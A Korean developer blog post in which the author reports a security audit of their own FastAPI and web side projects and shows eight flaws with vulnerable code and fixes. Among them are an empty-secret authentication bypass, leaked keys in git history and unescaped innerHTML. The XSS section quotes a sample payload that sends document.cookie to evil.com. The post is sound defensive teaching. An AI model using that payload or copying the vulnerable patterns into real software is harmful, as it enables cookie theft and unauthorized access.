DEV Community

Cover image for 내 사이드 프로젝트 보안 감사 결과 — 부끄럽지만 공유합니다
JustJinoIT
JustJinoIT

Posted on

내 사이드 프로젝트 보안 감사 결과 — 부끄럽지만 공유합니다

최근 내가 운영 중인 사이드 프로젝트 전체를 보안 감사했다. FastAPI 백엔드, 텔레그램 봇, PWA, Streamlit 앱 등 여러 개.

"나름 신경 써서 만들었으니까 괜찮겠지"라고 생각했다.

틀렸다.

발견한 문제 하나하나, 왜 그렇게 짰는지, 어떻게 고쳤는지 솔직하게 공유한다. 이론적인 체크리스트가 아니라 실제로 내가 프로덕션에 배포했던 버그들이다.


1. 빈 시크릿으로 인한 인증 우회 (Critical)

내가 짠 코드

_API_SECRET = os.environ.get('API_SECRET_KEY', '')

def verify_api_key(x_api_key: str = Header(default='')):
    if _API_SECRET and x_api_key != _API_SECRET:  # ← 여기가 버그
        raise HTTPException(status_code=401)
Enter fullscreen mode Exit fullscreen mode

if _API_SECRET and ... 조건을 보자. 서버에 API_SECRET_KEY 환경변수가 없으면 _API_SECRET은 빈 문자열 — falsy — 이 되어 조건 전체가 스킵된다. 모든 요청이 인증된 것처럼 통과한다.

왜 이렇게 짰나

로컬 개발 시 환경변수 안 세팅해도 서버가 죽지 않게 "우아하게 처리"하려고 했다. 문제는 그 "우아한 처리"가 프로덕션까지 올라갔고, 서버에 API_SECRET_KEY를 설정 안 한 순간 API 전체가 열렸다는 것이다.

수정 방법

_API_SECRET = os.environ.get('API_SECRET_KEY', '')

def verify_api_key(x_api_key: str = Header(default='')):
    if not _API_SECRET:
        raise HTTPException(status_code=500, detail='API_SECRET_KEY not configured')
    if not secrets.compare_digest(x_api_key, _API_SECRET):
        raise HTTPException(status_code=401, detail='Unauthorized')
Enter fullscreen mode Exit fullscreen mode

시크릿 없음 = 500 에러, 오픈 액세스가 아님. 타이밍 어택 방지를 위해 secrets.compare_digest()도 적용.

교훈: 인증을 시크릿 설정 여부에 따라 조건부로 만들지 마라. 설정 누락은 오픈이 아니라 하드 실패여야 한다.


2. Git 이력에 커밋된 시크릿 (Critical)

현재 코드에는 없지만 몇 달 전 "잠깐 테스트"하려고 커밋한 API 키가 git 이력에 그대로 있었다.

# 확인 방법
git log --all -p | grep -E "sk-ant-api03-[A-Za-z0-9_-]{20,}"
git log --all -p | grep -E "AIzaSy[A-Za-z0-9]{20,}"
Enter fullscreen mode Exit fullscreen mode

왜 이런 일이 생기나

초반에 빠르게 테스트하려고 키를 하드코딩하고 커밋. 나중에 .env로 옮기면서 "고쳤다"고 생각한다. 하지만 git은 모든 커밋을 영원히 기억한다. 리포가 공개되거나 팀원이 합류하면 누구나 과거 커밋에서 키를 꺼낼 수 있다.

수정 방법

# 특정 파일을 이력 전체에서 제거
pip install git-filter-repo
git-filter-repo --path .env --invert-paths --force
git push --force-with-lease origin main
Enter fullscreen mode Exit fullscreen mode

그리고 노출된 키는 즉시 폐기 + 재발급. git 이력을 정리한다고 이미 일어난 노출이 취소되지는 않는다.

교훈: git에 한 번이라도 커밋된 키는 이미 탈취됐다고 가정하고 재발급한다.


3. 디버그 엔드포인트 프로덕션 배포 (High)

이런 엔드포인트가 운영 서버에 배포되어 있었다:

@app.get('/debug/config')
async def debug_config():
    return {
        'supabase_url': settings.supabase_url,
        'environment': settings.env,
        'connected_services': [...]
    }
Enter fullscreen mode Exit fullscreen mode

왜 이런 일이 생기나

개발 중에는 디버그 엔드포인트가 정말 편하다. 막힌 부분 해결하고 나서 지우는 걸 잊는다. 에러가 나지 않으니 아무도 알려주지 않는다.

수정 방법

지운다. 런타임 디버그가 필요하면 인증 뒤에 두거나 로그를 쓴다.

# 배포 전 체크
grep -rn '@app.get.*debug\|@app.post.*debug' app/
Enter fullscreen mode Exit fullscreen mode

교훈: 배포 체크리스트에 "디버그 엔드포인트 제거 확인" 항목을 추가한다. 아니면 애초에 안 만드는 게 낫다.


4. 에러 메시지로 내부 정보 노출 (High)

# 내가 짠 코드
except Exception as e:
    return JSONResponse({"error": str(e)}, status_code=500)
Enter fullscreen mode Exit fullscreen mode

이러면 클라이언트에 이런 메시지가 그대로 내려간다:

  • FATAL: password authentication failed for user "postgres"
  • [Errno 2] No such file or directory: '/home/ubuntu/app/config.json'
  • Module 'xyz' version 1.2.3 has no attribute 'connect'

공격자는 이 정보로 인프라 구조, 사용 중인 라이브러리, 버전별 알려진 취약점을 파악할 수 있다.

왜 이렇게 짰나

이것도 개발 편의 때문이다. str(e) 하나로 에러 원인을 바로 볼 수 있어서 테스트할 때 편하다. 내부 에러와 HTTP 응답 사이에 레이어를 두지 않은 것이 문제였다.

수정 방법

import logging
logger = logging.getLogger(__name__)

except Exception as e:
    logger.error(f"Error: {e}", exc_info=True)  # 서버 로그에만
    return JSONResponse({"error": "internal server error"}, status_code=500)
Enter fullscreen mode Exit fullscreen mode

로그에는 모든 것을, HTTP 응답에는 아무것도 주지 않는다.

교훈: 서버 로그는 나를 위한 것이고, HTTP 에러 응답은 클라이언트를 위한 것이다. 이 두 개는 완전히 분리되어야 한다.


5. 이스케이프 없는 innerHTML로 XSS (High)

프론트엔드 코드:

articles.forEach(article => {
    container.innerHTML += `
        <h3>${article.title}</h3>
        <p>${article.summary}</p>
        <a href="${article.url}">더 보기</a>
    `;
});
Enter fullscreen mode Exit fullscreen mode

DB에 <script>document.location='https://evil.com?c='+document.cookie</script> 같은 제목이 들어오면 모든 사용자의 브라우저에서 실행된다.

왜 이런 일이 생기나

템플릿 리터럴이 문자열 포매팅처럼 느껴지기 때문이다. ${article.title} 을 쓸 때 HTML을 렌더링하고 있다는 느낌이 안 든다. 그냥 변수 넣는 것처럼 느껴진다. 하지만 브라우저는 거기서 HTML을 파싱하고 실행한다.

수정 방법

const esc = s => (s || '')
  .replace(/&/g, '&amp;')
  .replace(/</g, '&lt;')
  .replace(/>/g, '&gt;')
  .replace(/"/g, '&quot;');

const safeUrl = u => /^https?:\/\//.test(u || '') ? u : '#';

container.innerHTML += `
    <h3>${esc(article.title)}</h3>
    <p>${esc(article.summary)}</p>
    <a href="${safeUrl(article.url)}" rel="noopener noreferrer">더 보기</a>
`;
Enter fullscreen mode Exit fullscreen mode

교훈: innerHTML을 쓸 때마다 "나는 지금 임의의 코드를 실행하고 있다"고 머릿속으로 바꿔 읽는다. 그러면 이스케이프를 빠뜨리기 어렵다.


6. AI 엔드포인트에 Rate Limit 없음 (High)

@app.post('/analyze')
async def analyze(item: Item, _: None = Depends(verify_api_key)):
    result = await ai_client.messages.create(...)  # 호출당 비용 발생
    return result
Enter fullscreen mode Exit fullscreen mode

Rate limit 없음. API 키가 탈취되거나 클라이언트 코드가 루프에서 무한 호출하면 순식간에 큰 비용이 청구된다.

수정 방법

from slowapi import Limiter, _rate_limit_exceeded_handler
from slowapi.util import get_remote_address

limiter = Limiter(key_func=get_remote_address)
app.state.limiter = limiter

@app.post('/analyze')
@limiter.limit('10/minute')
async def analyze(request: Request, item: Item, _: None = Depends(verify_api_key)):
    ...
Enter fullscreen mode Exit fullscreen mode

교훈: 인증은 비허가된 접근을 막는다. Rate limit은 허가됐지만 남용하는 접근을 막는다. 둘 다 필요하다.


7. 프로덕션에 CORS 와일드카드 (Medium)

app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],  # 모든 출처 허용
    ...
)
Enter fullscreen mode Exit fullscreen mode

API 키가 있어도 왜 위험한가

CORS는 브라우저 수준의 방화벽이다. API 키가 프론트엔드 JavaScript에 있는 경우, 다른 사이트의 XSS 취약점을 통해 사용자 브라우저에서 그 키를 이용한 API 호출이 가능하다.

수정 방법

import os

ALLOWED_ORIGINS = os.environ.get('ALLOWED_ORIGINS', '*').split(',')

app.add_middleware(
    CORSMiddleware,
    allow_origins=ALLOWED_ORIGINS,
    allow_methods=['GET', 'POST'],
    allow_headers=['X-API-Key', 'Content-Type'],
)
Enter fullscreen mode Exit fullscreen mode
# 프로덕션 .env
ALLOWED_ORIGINS=https://myapp.vercel.app
Enter fullscreen mode Exit fullscreen mode

교훈: allow_origins=["*"]는 로컬 개발 전용이다. 절대 배포하지 않는다.


8. 임시 파일 미삭제 (Medium)

with tempfile.NamedTemporaryFile(suffix='.xlsx', delete=False) as tmp:
    tmp.write(uploaded_file.read())
    tmp_path = tmp.name

process_file(tmp_path)  # 여기서 예외 발생하면 임시 파일이 영원히 남음
Enter fullscreen mode Exit fullscreen mode

process_file()에서 예외가 터지면 임시 파일이 지워지지 않는다. 장기 운영 서버에서 누적되고, 파일에 사용자 민감 데이터가 있으면 디스크에 계속 남아 있다.

수정 방법

tmp_path = None
with tempfile.NamedTemporaryFile(suffix='.xlsx', delete=False) as tmp:
    tmp.write(uploaded_file.read())
    tmp_path = tmp.name
try:
    process_file(tmp_path)
finally:
    if tmp_path and os.path.exists(tmp_path):
        os.unlink(tmp_path)
Enter fullscreen mode Exit fullscreen mode

교훈: 파일을 만드는 코드 경로는 반드시 삭제도 책임진다. finally는 예외가 나도 반드시 실행된다.


내가 지금 따르는 체크리스트

이번 감사 이후 모든 프로젝트에 강제 적용하는 체크리스트를 만들었다:

코드 작성 전:

  • [ ] .gitignore 생성 (.env, *.key, sessions/, credentials.json)
  • [ ] .env.example 생성 (실제 값 없는 템플릿)

모든 엔드포인트:

  • [ ] 인증 추가 (시크릿 없으면 우회가 아닌 500 에러)
  • [ ] 에러 응답은 제네릭 메시지만 (str(e) 금지)
  • [ ] AI/비용 발생 엔드포인트에 rate limit

프론트엔드:

  • [ ] 모든 innerHTML 사용에 이스케이프 처리
  • [ ] URL은 https://로 시작하는지 검증
  • [ ] 외부 링크에 rel="noopener noreferrer"

커밋 전:

git diff --cached | grep -E "AIzaSy|password\s*=\s*[^\$\{]"
git diff --cached --name-only | grep -E "^\.env"
Enter fullscreen mode Exit fullscreen mode

배포 전:

pip-audit -r requirements.txt
npm audit
Enter fullscreen mode Exit fullscreen mode

왜 이것들을 놓쳤나

솔직히 말하면: 보안을 기능 개발 이후의 별도 단계로 취급했기 때문이다.

패턴은 항상 같았다:

  1. 일단 기능 동작시키기
  2. TODO 주석 달기: "나중에 정리하자"
  3. 나중은 오지 않음
  4. "임시" 코드 그대로 배포

보안 이슈는 의도적으로 만들어지는 게 아니다. "나중에 고치려던" 코드가 쌓인 결과물이다. 내가 찾은 유일한 해법은 보안 체크를 자연스러운 타이밍에 끼워 넣는 것이다: 커밋 전, 배포 전, 프로젝트 시작 시점.

버그 자체는 지루하다. 사후 수습 비용은 그렇지 않다.


FastAPI나 비슷한 백엔드를 운영 중이라면 위 패턴으로 직접 확인해보는 걸 권장한다. if _SECRET and key != _SECRET 인증 우회는 생각보다 훨씬 흔하다.

Top comments (0)